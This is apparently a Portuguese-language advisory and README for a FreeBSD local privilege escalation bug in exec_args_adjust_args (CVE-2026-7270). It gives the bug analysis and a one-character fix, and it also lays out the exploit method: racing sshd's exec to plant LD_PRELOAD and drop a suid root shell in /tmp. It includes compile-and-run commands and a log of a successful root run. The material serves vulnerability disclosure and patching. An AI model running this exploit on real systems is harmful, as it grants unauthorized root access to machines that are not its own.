
CVE-2026-7270 Escalação de privilégios local no FreeBSD via exec_args_adjust_args OOB memmove
https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
Escalação de privilégios local no FreeBSD via exec_args_adjust_args memmove fora dos limites
Um bug de precedência de operadores em exec_args_adjust_args() (sys/kern/kern_exec.c, presente desde 2013) permite que qualquer usuário local escale para root em uma instalação padrão do FreeBSD com sshd em execução. Sem binários suid, sem módulos de kernel, sem alterações de configuração necessárias.
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* BUG: + deveria ser - */
+ consume deveria ser - consume. O sinal errado faz o memmove copiar 2 * consume bytes em vez do correto endp - begin_argv - consume. Com um argv[0] de 265.185 bytes em um exec via shebang, o memmove estoura a entrada de 528.384 bytes do exec_map em 2.024 bytes para a entrada adjacente — sem crash, sem sinal, sem falha de página.
O exploit disputa o memmove fora dos limites contra o fork/execv do sshd em conexões TCP recebidas. O sshd-session é executado de root para root sem transição suid/sgid, então issetugid() retorna 0 e o linker de runtime honra LD_PRELOAD. O exploit planta LD_PRELOAD=/tmp/evil.so na entrada do exec_map do sshd-session; o construtor do evil.so roda como uid=0 e solta um shell root suid em /tmp/rootsh.
Root obtido na rodada 5.030, ~6 segundos após o lançamento em uma VM de 4 CPUs.
| Versões afetadas | FreeBSD 11.0 até 14.4 (todas as versões; sem correção em nenhum branch até a divulgação) |
| Pré-requisitos | Shell local sem privilégios; sshd em execução (padrão no FreeBSD) |
| Confiabilidade | ~0,6% de taxa de acerto por rodada; root em segundos em um sistema de 4 CPUs |
| Testado | FreeBSD 14.4-RELEASE-p1 amd64, kernel GENERIC, 4 CPUs, 2GB RAM |
Altere um caractere em sys/kern/kern_exec.c:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
| Arquivo | Descrição |
|---|---|
exec1_lpe21.c | Exploit autocontido — compile e execute como usuário sem privilégios |
run_poc.sh | Automação QEMU: inicia FreeBSD 14.4, compila e executa o exploit |
WRITEUP.md | Documentação técnica completa: análise do bug, arquitetura do exploit, histórico de desenvolvimento |
blog.md | Relato narrativo da descoberta e desenvolvimento do exploit |
images/ | Diagramas SVG: layout do exec_map, mecanismo de autocópia, visão geral completa do ataque |
Em um alvo FreeBSD 14.4, como qualquer usuário sem privilégios:
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... alguns segundos ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
Sob QEMU (host macOS, requer qemu e sshpass):
./run_poc.sh # inicia VM, compila, executa exploit
./run_poc.sh run # re-executa contra VM já em execução
./run_poc.sh clean # remove artefatos da VM
$ ./run_poc.sh
[*] Iniciando VM FreeBSD 14.4 (4 CPUs, 2GB RAM, SSH na porta 2225)...
[*] PID do QEMU 25908, log: vm.log
[*] Aguardando SSH na porta 2225...
[*] SSH ativo após 1s
[*] Copiando código-fonte do exploit para a VM...
[*] Criando usuário sem privilégios 'freebsd' e compilando...
[*] Compilado OK
[*] Executando exploit como 'freebsd' (até 15.000 rodadas)...
[*] Observe ROOT OBTAINED abaixo:
[!!!] ROOT OBTIDO!
uid=0 euid=0 pid=3413
[!!!] Shell root: /tmp/rootsh -p
[*] Verificando root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== id via rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Parando VM (pid 25908)...